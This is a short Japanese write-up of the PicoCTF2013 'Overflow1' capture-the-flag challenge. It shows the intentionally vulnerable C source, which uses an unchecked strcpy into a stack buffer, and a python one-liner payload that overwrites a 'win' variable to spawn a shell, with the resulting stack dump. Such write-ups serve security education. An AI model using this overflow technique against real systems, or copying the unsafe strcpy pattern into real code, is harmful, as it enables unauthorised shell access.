PicoCTF2013 Overflow1 Writeup

ROP3が難しすぎるので、Overflow1を先に解くことに。

問題編

問題文

Category: Binary Exploitation Points: 90 Description:

Stack overflows are the most basic binary exploitation technique, but they take a lot of skill to master. If you already know some C, these problems can help acquaint you with stacks and binary exploitation in general.
Problem available on the shell machine in /problems/stack_overflow_1_3948d17028101c40 , downloadable here with source here.
If you solve the problem you will be able to read the key file by running
cat /problems/stack_overflow_1_3948d17028101c40/key
on the PicoCTF shell machine
**Hint:**n general, the compiler will put things on the stack in the order they appear in the code. Also google 'endianness'

ソースコード

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include "dump_stack.h"

void vuln(int tmp, char *str) {
    int win = tmp;
    char buf[64];
    strcpy(buf, str);
    dump_stack((void **) buf, 23, (void **) &tmp);
    printf("win = %d\n", win);
    if (win == 1) {
        execl("/bin/sh", "sh", NULL);
    } else {
        printf("Sorry, you lose.\n");
    }
    exit(0);
}

int main(int argc, char **argv) {
    if (argc != 2) {
        printf("Usage: stack_overwrite [str]\n");
        return 1;
    }

    uid_t euid = geteuid();
    setresuid(euid, euid, euid);
    vuln(0, argv[1]);
    return 0;
}

解答編

ソースコードを読むとwin変数に値1を代入すればシェルが取れることがわかる。

第一引数に文字列を指定し、buf配列をオーバフローさせてwin変数に値を代入する。

引数に英数字以外のコード(0x01など)をどのように指定するかが少し迷ったが、 $()でコードを実行させることで解決した。

# ./overflow1-3948d17028101c40 $(python -c 'import sys; sys.stdout.write("A"*64); sys.stdout.write("\x01")')
Stack dump:
0xffd71b74: 0xffd727b0 (second argument)
0xffd71b70: 0x00000000 (first argument)
0xffd71b6c: 0x0804870f (saved eip)
0xffd71b68: 0xffd71b98 (saved ebp)
0xffd71b64: 0xf7742000
0xffd71b60: 0xf7641537
0xffd71b5c: 0x00000001
0xffd71b58: 0x41414141
0xffd71b54: 0x41414141
0xffd71b50: 0x41414141
0xffd71b4c: 0x41414141
0xffd71b48: 0x41414141
0xffd71b44: 0x41414141
0xffd71b40: 0x41414141
0xffd71b3c: 0x41414141
0xffd71b38: 0x41414141
0xffd71b34: 0x41414141
0xffd71b30: 0x41414141
0xffd71b2c: 0x41414141
0xffd71b28: 0x41414141
0xffd71b24: 0x41414141
0xffd71b20: 0x41414141
0xffd71b1c: 0x41414141 (beginning of buffer)
win = 1
sh-4.2# ls

学んだこと

  • 引数に任意の入力(0x01など)を与える場合、$()を利用するとよい